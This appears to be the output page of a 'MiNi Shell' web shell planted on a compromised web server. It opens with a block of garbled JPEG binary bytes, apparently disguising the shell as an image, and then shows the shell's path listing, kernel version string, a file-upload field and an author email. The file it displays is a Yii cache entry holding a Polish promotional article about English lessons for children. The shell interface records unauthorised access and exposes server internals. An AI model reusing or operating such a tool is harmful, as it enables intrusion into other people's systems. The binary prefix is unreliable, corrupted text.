JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/37/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/37/374e8f541ad21995fbc56014d6731189.bin

a:2:{i:0;a:2:{i:0;s:12155:" 
                    
                    <h3 class="title" itemprop="headline">Angielski dla dzieci w Polsce jest obowiązkowy – ale czy skuteczny?</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 18-06-2025, 12:05</strong>
                        <meta itemprop="dateModified" content=" 18-06-2025, 12:05"/>
                        <div class="hide" itemprop="description">W Polsce dzieci zaczynają poznawać języki obce wcześniej niż w większości krajów Europy. Obowiązkowymi zajęciami objęte są już przedszkolaki. Jednak ten wczesny kontakt z językiem rzadko przekłada się na wyniki w późniejszych latach. Eksperci z platformy All Right zauważają: system zapewnia dostępność, ale nie efekty. Coraz więcej rodziców szuka wsparcia poza szkołą.</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="sacro.com.pl">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.sacro.com.pl/images/loga/sacro.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/84713/crop/800x600/shutterstock_ang-973285001750241582.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.sacro.com.pl/artykuly/szczegoly/84713"/>
                        
                                        </p>

                    <div class="lorem">
                        <p><img class="img-responsive" src="https://common.v-manager.pl/uploads/source/articles/84713/shutterstock_ang.webp" alt="Angielski dla dzieci w Polsce jest obowiązkowy – ale czy skuteczny?" loading="lazy" /></p>
<p><strong>W Polsce dzieci zaczynają poznawać języki obce wcześniej niż w większości krajów Europy. Obowiązkowymi zajęciami objęte są już przedszkolaki. Jednak ten wczesny kontakt z językiem rzadko przekłada się na wyniki w późniejszych latach. Eksperci z platformy All Right zauważają: system zapewnia dostępność, ale nie efekty. Coraz więcej rodziców szuka wsparcia poza szkołą.</strong></p>
<h3 style="text-align:left;">Polska liderem we wczesnym nauczaniu języka angielskiego</h3>
<p>Już od dekady polskie pięciolatki uczestniczące w wychowaniu przedszkolnym objęte są obowiązkową nauką języka obcego, najczęściej angielskiego. W 2017 roku obowiązek ten rozszerzono o przedszkolaki od trzeciego roku życia. Polska znajduje się w nielicznej grupie państw Unii Europejskiej, które zdecydowały się na tak wczesne wdrożenie nauki języków.</p>
<p>Język angielski jest pierwszym językiem obcym nauczanym w niemal wszystkich szkołach podstawowych. Zgodnie z danymi GUS ponad 90% polskich uczniów uczy się go na którymś etapie obowiązkowej edukacji.</p>
<h3 style="text-align:left;">Polski uczeń zna słownictwo, ale ma problemy z mówieniem</h3>
<p>Jak podkreślają specjaliści z platformy <a href="https://allright.com/en?utm_source=all4comms&amp;utm_medium=pr" target="_blank" rel="dofollow noopener"><strong>All Right</strong></a>, wczesny start nauki nie przekłada się jednak automatycznie na wyższy poziom biegłości językowej. Z danych Ministerstwa Edukacji wynika, że średni wynik egzaminu ósmoklasisty z języka angielskiego w 2024 roku wyniósł 66%.</p>
<blockquote>
<p>„Taki wynik odpowiada poziomowi A2/B1 – wystarczającemu do podstawowego porozumiewania się, ale zbyt niskiemu, by swobodnie funkcjonować w środowisku anglojęzycznym czy swobodnie korzystać z tego języka w pracy. Głównym wyzwaniem w Polsce jest płynna komunikacja” – zauważa Małgorzata Czerwińska z All Right.</p>
</blockquote>
<p>Tendencję tę potwierdza także tegoroczny raport EF English Proficiency Index. W najmłodszej grupie badanych Polaków (18–20 lat) odnotowano spadek poziomu znajomości języka angielskiego w porównaniu do ubiegłych lat. A są to osoby, które korzystały z nauki języka przez większość życia.</p>
<p>Już w 2018 roku British Council w raporcie EU2025ENGLISH ostrzegał, że bardzo rzadko można osiągnąć biegłość językową wyłącznie dzięki nauce w szkole publicznej.</p>
<p>Podkreślano wówczas, że oczekiwany poziom B1 na koniec szkoły średniej to za mało, aby swobodnie porozumiewać się w języku obcym.</p>
<h3 style="text-align:left;">System jest ambitny, ale zawodzi</h3>
<p>Realna jakość nauczania zależy od warunków organizacyjnych i systemowych. Już od pierwszych klas szkoły podstawowej pojawia się wyzwanie związane z czasem nauki. W ciągu tygodnia dzieci mają jedynie dwie godziny lekcyjne przeznaczone na język angielski.</p>
<p>Przepisy nakazują dzielenie klas na grupy dopiero powyżej 24 osób, a taka liczebność jest wyzwaniem dla efektywnej nauki. Trudno o indywidualne podejście do mówienia, konwersacji i osłuchiwania się z językiem.</p>
<p>Co więcej, brak standardów co do wyposażenia szkół w pomoce dydaktyczne (np. nagrania native speakerów, dostęp do aplikacji edukacyjnych) dodatkowo utrudnia prowadzenie nowoczesnych zajęć. W efekcie, jak przyznają sami rodzice w badaniach opinii publicznej, nauka często opiera się na podręczniku i wypełnianiu ćwiczeń.</p>
<p>Różnice w poziomie znajomości języka są szczególnie widoczne między dziećmi z dużych miast a tymi z terenów wiejskich. Średni wynik egzaminu ósmoklasisty z języka angielskiego w dużych miastach to ok. 75%, podczas gdy na wsi zaledwie 59%.</p>
<p>Na obszarach wiejskich dzieci rzadziej korzystają z korepetycji czy prywatnych szkół językowych. Dziecko z Warszawy ma większe szanse na osiągnięcie płynności w języku obcym niż rówieśnik z małej miejscowości.</p>
<h3 style="text-align:left;">Zaufanie rodziców coraz mniejsze</h3>
<p>Zaufanie rodziców do skuteczności nauki języków w szkole maleje. Z danych CBOS z 2024 roku wynika, że aż 50% rodziców opłaca dzieciom dodatkowe zajęcia z tego przedmiotu. Rodzice szukają alternatyw, które pozwolą ich podopiecznym nie tylko „znać angielski”, ale przede wszystkim swobodnie mówić.</p>
<p>Coraz większe znaczenie zyskują nowoczesne modele nauczania. To nie przypadek, że tak wielu rodziców sięga dziś po pozaszkolne zajęcia, szukając bardziej dopasowanych, angażujących form pracy z językiem.</p>
<p>Skuteczna nauka angielskiego wymaga dziś więcej niż tylko podręcznika. Dzieci potrzebują języka, który „wchodzi” w świat ich zainteresowań – gier, bajek i codziennych aktywności. Potrzebują także elastyczności, tempa dostosowanego do ich możliwości oraz kompetentnego nauczyciela.</p>
<h3 style="text-align:left;">Angielski dopasowany do dziecka</h3>
<p>Na tym założeniu opiera się model nauczania, który realizuje platforma All Right. To rozwiązanie zaprojektowane specjalnie z myślą o dzieciach w wieku 4–12 lat.</p>
<blockquote>
<p>„Jako jedna z nielicznych platform edukacyjnych All Right łączy zabawę z metodyką. Oferujemy spersonalizowane kursy języka angielskiego oparte na zainteresowaniach dzieci, takich jak gry, bajki czy hobby. Uczeń nie tylko uczy się angielskiego. On zaczyna go realnie używać, bo widzi sens i radość w tej nauce” – mówi Małgorzata Czerwińska z All Right.</p>
</blockquote>
<p>All Right pokazuje, że połączenie platformy opartej na sztucznej inteligencji, zaangażowania certyfikowanych nauczycieli oraz autorskiej metody nauczania sprawia, że efektywna nauka języka w młodym wieku jest możliwa. Wymaga tylko indywidualnego podejścia i odejścia od utartych schematów.</p>
<hr />
<p><small>Źródło: All Right / All 4 Comms</small></p>
<p><small><strong>O All Right</strong></small></p>
<p><small>All Right to innowacyjna, międzynarodowa szkoła języka angielskiego online dla dzieci w wieku 4–12 lat. Oferuje indywidualne lekcje z certyfikowanymi nauczycielami. Wyróżnia się spersonalizowanym podejściem – każda lekcja jest tworzona wokół pasji dziecka, niezależnie od tego, czy jest to Roblox, Lego, Minecraft czy postacie Disneya. Szkoła łączy autorską metodologię (zgodną ze standardami Cambridge YLE) z elementami rywalizacji, aplikacją mobilną i platformą opartą na sztucznej inteligencji. Od 2016 roku nauczyła ponad 80 000 dzieci z ponad 46 krajów.</small></p>                        
                         


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            <p class="text-right">Artykuł zewnętrzny</p>
                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=platforma+edukacyjna" class="label label-default">platforma edukacyjna</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=język+angielski" class="label label-default">język angielski</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=angielski+dla+dzieci" class="label label-default">angielski dla dzieci</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=nauczanie+języka+angielskiego" class="label label-default">nauczanie języka angielskiego</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=All+Right" class="label label-default">All Right</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=kurs+języka+angielskiego" class="label label-default">kurs języka angielskiego</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=angielski+on-line" class="label label-default">angielski on-line</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.sacro.com.pl/artykuly/szczegoly/84713_angielski-dla-dzieci-w-polsce-jest-obowiazkowy-ale-czy-skuteczny" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_84713";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"0ed66f77a6097385237903b80b35dd6d";s:21:"0.62641100 1750241610";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com